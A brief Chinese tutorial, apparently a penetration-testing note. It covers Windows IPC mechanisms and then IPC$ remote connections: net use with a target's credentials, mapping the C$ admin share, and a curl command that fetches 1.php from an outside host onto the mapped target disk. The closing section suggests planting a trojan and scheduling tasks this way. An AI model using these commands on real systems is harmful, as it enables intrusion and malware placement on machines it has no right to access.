IPC介绍

IPC,即Inter-Process Communication(进程间通信),是指在操作系统中不同进程之间进行数据交换和同步的机制。通过IPC,不同的进程可以相互通信并协调工作,这对于构建复杂的应用程序非常重要。Windows提供了多种IPC机制,每种都有其特定的应用场景和优缺点。

常见的Windows IPC机制包括

  1. 命名管道(Named Pipes)

    • 适用于本地或网络环境中的客户端-服务器通信。

    • 支持双向通信,并且可以在不同的机器上运行的服务之间提供可靠的、基于流的数据传输。

  2. 共享内存(Memory-Mapped Files)

    • 通过将文件或部分内存映射到进程的地址空间,允许多个进程访问同一块内存区域。

    • 非常适合需要高效地在进程间传递大量数据的情况。

  3. 邮件槽(Mailslots)

    • 是一种简单的广播式通信机制,适用于一对多的消息发送。

    • 主要用于本地网络上的消息传递,不保证消息顺序和到达。

  4. 剪贴板(Clipboard)

    • 提供了一种简便的方法来在应用程序之间复制和粘贴数据。

    • 适用于临时性的数据交换。

  5. RPC(Remote Procedure Call,远程过程调用)

    • 使一个程序能够执行位于不同地址空间(通常是在另一台计算机上)的过程。

    • 支持复杂的分布式应用。

IPC$使用条件

  1. 开放了139、445端口:IPC$可以实现远程登陆,以及对默认共享资源的访问。开放139端口表示NetBIOS已经应用。通过139、445端口可以对共享文件和打印机的访问。

  2. 目标开启文件共享:默认共享是开启了的(net share))。

  3. 获取用户账号密码。获得账号密码之后可以利用IPC$进行访问。

IPC相关命令

查看现有共享

net share

这将列出所有已配置的共享,包括共享名、资源路径及共享的备注信息等。

创建共享

net share DataShare=D:\Data

要共享名为 DataShare 的文件夹位于 D:\Data

删除共享

net share DataShare /delete

可以使用 /delete 选项。例如,要删除之前创建的 DataShare 共享

查看本机建立的连接

net use

建立IPC远程连接

net use \\192.168.102.131
net use \\192.168.102.131 /u:"[用户名]" "[密码]"

192.168.102.131为连接目标IP,账号密码为目标IP的桌面登录的账号密码

image-fbja.png

删除IPC远程连接

net use \\192.168.102.131 /delete
net use * /delete

其中*代表的是删除全部连接。

磁盘映射(需administrator用户)

net use q: \\192.168.102.131\c$

但是在网络位置没有看到存在的有映射的磁盘过来。

在Cmd中显现所用磁盘包括映射的磁盘,命令:

wmic logicaldisk get caption,description,providername

使用远程下载命令curl下载到映射的硬盘中

curl http://192.168.88.108:8011/1.php -o e:/users/1.php

其中命令中e:/users/1.php为映射磁盘的位置

后续重新设置了磁盘映射

net use Z: \\192.168.102.131\c$ /user:administrator 123456

然后网络位置也存在了映射的磁盘

利用

如果获取到了密码不方便登录可以通过建立映射磁盘进行传马和创建定时任务等

参考链接

从绕过“远程桌面登录保护”到net use详解